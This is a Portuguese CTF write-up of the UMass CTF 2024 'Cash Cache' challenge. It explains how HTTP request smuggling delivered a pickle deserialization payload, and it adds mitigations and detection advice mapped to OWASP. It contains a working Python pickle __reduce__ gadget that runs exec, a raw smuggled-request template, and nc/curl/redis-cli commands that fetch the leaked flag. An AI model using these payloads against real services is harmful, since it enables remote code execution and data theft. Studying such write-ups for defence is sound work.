Relatório Técnico - Cash Cache (UMASS CTF 2024)

Arthur Hugo Barros Gaia

Felipe Ivo da Silva

Nathalia Cristina Santos

Thiago Zucarelli Crestani

Wilson de Camargo Vieira

Sumário

---

1 - Resumo

Relatório conciso documentando um vetor combinado observado em laboratório: **HTTP request smuggling** que entrega um payload binário a um componente que realiza **desserialização insegura**, permitindo execução de código. Resultado prático: exfiltração de um segredo de prova (flag). Documento contém descrição técnica, passos de exploração em alto nível, PoCs comentados (trechos), análise de impacto e recomendações práticas mapeadas ao OWASP Top 10.

---

2 - Introdução

Este documento apresenta uma análise técnica feita em ambiente de laboratório (CTF). O objetivo é explicar, de maneira didática e acionável, o vetor de exploração que levou à recuperação da prova, assim como propor ações mitigatórias e de detecção aplicáveis em produção.

---

3 - Objetivo

- Demonstrar a técnica combinada (smuggling + insecure deserialization) em ambiente controlado;
- Documentar a estratégia de exploração e apresentar PoCs comentados para fins educacionais;
- Propor medidas de correção, prevenção e detecção alinhadas ao OWASP.

---

4 - Conceitos técnicos relevantes (resumido)

- **Request Smuggling:** divergência na interpretação de uma mesma requisição entre proxy/load-balancer e backend (ex.: `Content-Length` vs `Transfer-Encoding`) possibilita que uma requisição “extra” chegue ao backend; usado para contornar controles.
- **Insecure Deserialization:** desserializar dados não confiáveis (por ex. objetos binários que executam código quando reconstructados) conduz a RCE.

- **Exfiltração via serviços internos:** após RCE, leitura de ficheiros/keys e gravação em cache/DB interno facilita recuperação pelo atacante.

---

5 - Comportamento do serviço (resumo observacional)

- Serviço aceita tráfego HTTP; existe componente que processa dados binários/serializados.
- Há caminho funcional em que um payload malformado, se entregue ao backend, causa desserialização de um objeto controlado pelo atacante.
- Um fluxo de exfiltração simples (ler recurso interno → gravar em local que atacante consegue ler) é suficiente para comprovar exploração.

---

6 - Estratégia de exploração - passo a passo (alto nível)

1. Preparar ambiente de teste (serviço + dependências em sandbox).
2. Construir requisição CRLF-crafted para *smuggle* (encaixar uma segunda requisição no stream).
3. Inserir no corpo da requisição um payload serializado malicioso (ex.: pickle com código a executar).
4. Enviar requisição ao ponto que diferencia parsing entre camadas para que a requisição oculta seja processada pelo backend.
5. Após desserialização/execution, recuperar o resultado (ex.: leitura de cache/DB onde o payload gravou o segredo).
6. Registrar evidências (logs, saída, artefatos) para documentação.

---

7 - PoCs / Códigos comentados (trechos essenciais)

Aviso: os exemplos abaixo são didáticos e devem ser executados somente em ambiente controlado. Não use contra sistemas sem autorização.

7.1 - Payload HTTP *smuggling* (raw)

Exemplo minimalista de requisição CRLF-crafted que engendra uma requisição adicional no backend.

POST /some-proxy-path HTTP/1.1
Host: victim.local
Connection: keep-alive
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

<dados-legítimos...>

POST /internal-endpoint HTTP/1.1
Host: backend.local
Content-Length: 72
Content-Type: application/octet-stream

<-- aqui vai o corpo binário (payload serializado) →

Comentários:

- A primeira parte parece uma requisição normal para o proxy; a segunda parte (após o corpo) é a requisição “smuggled”.
- Se proxy e backend interpretarem os limites de conteúdo de forma diferente, o backend poderá ver a segunda requisição como uma requisição legítima chegada diretamente a ele.
- No exemplo, o corpo binário contém o objeto serializado; o backend, ao receber a segunda requisição, irá desserializá-lo se houver código que o faça.

7.2 - Payload de desserialização (Python - *pickle* PoC)

Exemplo didático de objeto que, quando desserializado com `pickle.loads`, executa código. **NÃO** executar contra alvos não autorizados.

```
# PoC pedagógico: objeto malicioso para demonstrar insegure deserialization
import builtins
import pickle

# código a executar no contexto do processo alvo (ex.: leitura de arquivo)
code = "import redis,sys; r=redis.Redis(); r.set('leak','FLAG_FROM_INSIDE')"

class Evil:
    def __reduce__(self):
        # O __reduce__ retorna a função a chamar e os argumentos.
        # Aqui usamos builtins.exec para executar uma string de código.
        return (builtins.exec, (code,))

# serializa o objeto malicioso
payload_bytes = pickle.dumps(Evil())
# em geral, codifica-se em base64 ou insere-se direto como corpo binário da requisição
```

Comentários:

- `pickle` permite reconstrução de objetos Python e, por desenho, pode executar código ao desserializar estruturas construídas para tal.
- Evitar `pickle.loads` sobre dados vindos de usuários; se for obrigatório, usar allowlists/validações e assinatura HMAC.

7.3 - Sequência de execução (shell)

Sequência típica que orquestra envio do smuggled payload e leitura do resultado (exemplo genérico):

```
# 1) Preparar ambiente de variáveis (ex.: identificação se necessário)
export UID="some-uuid-or-token"

# 2) Enviar requisição smuggled (envia o arquivo raw via netcat para a porta local)
```

```
cat smuggle_raw_request.txt | nc 127.0.0.1 5000

# 3) Disparar endpoint que processa/gera a desserialização (se necessário)
curl -s -H "Cookie: uid=${UID}" http://127.0.0.1:5000/ >/dev/null

# 4) Recuperar o artefato exfiltrado (ex.: leitura de cache/key)
# (substituir pelo comando do ambiente de teste, ex.: redis-cli GET leak)
redis-cli -h 127.0.0.1 GET leak
```

Comentários:

- Os comandos acima mostram a orquestração entre envio da requisição malformada, acerto do fluxo e leitura do resultado.
- Em produção, controles de rede e autenticação devem impedir esse fluxo.

---

8 - Análise de impacto (CIA)

- **Confidencialidade:** crítica - RCE por desserialização permite leitura de ficheiros, segredos e credenciais.
- **Integridade:** alta - possibilidade de alterar dados persistentes e inserir payloads de persistência.
- **Disponibilidade:** média - execução arbitrária pode gerar DoS acidental ou intencional.

---

9 - Mitigações e mapeamento OWASP (priorizadas)

Prioridade 1 (corrigir imediatamente)

- **Eliminar desserialização insegura:** substituir por formatos seguros (JSON) + validação. *(OWASP: Insecure Deserialization / CWE-502)*

Prioridade 2

- **Padronizar parsing HTTP entre camadas:** alinhar regras de proxy e backend; rejeitar requisições ambíguas. *(OWASP: Security Misconfiguration / CWE-444)*

Prioridade 3

- **Isolamento e privilégio mínimo:** processos de manipulação de entrada executam com privilégios restritos; serviços internos (cache/DB) exigem autenticação e firewalling.

Prioridade 4

- **Validação e assinaturas:** aplicar assinatura/HMAC para dados serializados e allowlists de classes/tipos aceitáveis.

---

10 - Detecção e monitoramento (o que logar / alertar)

- Requisições com `Transfer-Encoding` e `Content-Length` conflitantes.
- Uploads/requests com corpo binário/serializado incomum.
- Criação/escrita de chaves não usuais no cache (canários).
- Padrões de pequenas variações consecutivas no corpo (indicam fuzzing/brute force).
- Alertar equipe de segurança em detecção de escrita a recursos sensíveis por origens não contempladas.

---

11 - Plano de correção imediato (primeiras 72 horas)

1. Desabilitar endpoints que desserializam inputs externos ou limitar acesso a rede interna.
2. Aplicar regras no proxy para rejeitar requisições com parsing ambíguo.
3. Habilitar autenticação e restrições de rede no cache/DB interno.
4. Implementar regras WAF temporárias para bloquear padrões binários/smuggling.
5. Coletar logs e realizar análise forense em sandbox para confirmar mitigação.

12 - Lições aprendidas e recomendações finais

- Nunca desserialize dados sem validação/assinatura.
- Garanta que todos os componentes interpretem identicamente a especificação HTTP para evitar smuggling.
- Princípio do privilégio mínimo e micro-segmentação de rede reduzem impacto.
- Automatizar testes (fuzzing e WSTG checks) na pipeline CI/CD.

---

13 - Referências

- OWASP Top 10 / OWASP Web Security Testing Guide (WSTG).
- CWE - CWE-502 (Deserialization of Untrusted Data), CWE-444 (HTTP Request Splitting/Smuggling).
- PortSwigger Academy - Request Smuggling e Deserialization labs.
- Writeups e materiais públicos sobre vetores compostos (smuggling + deserialization).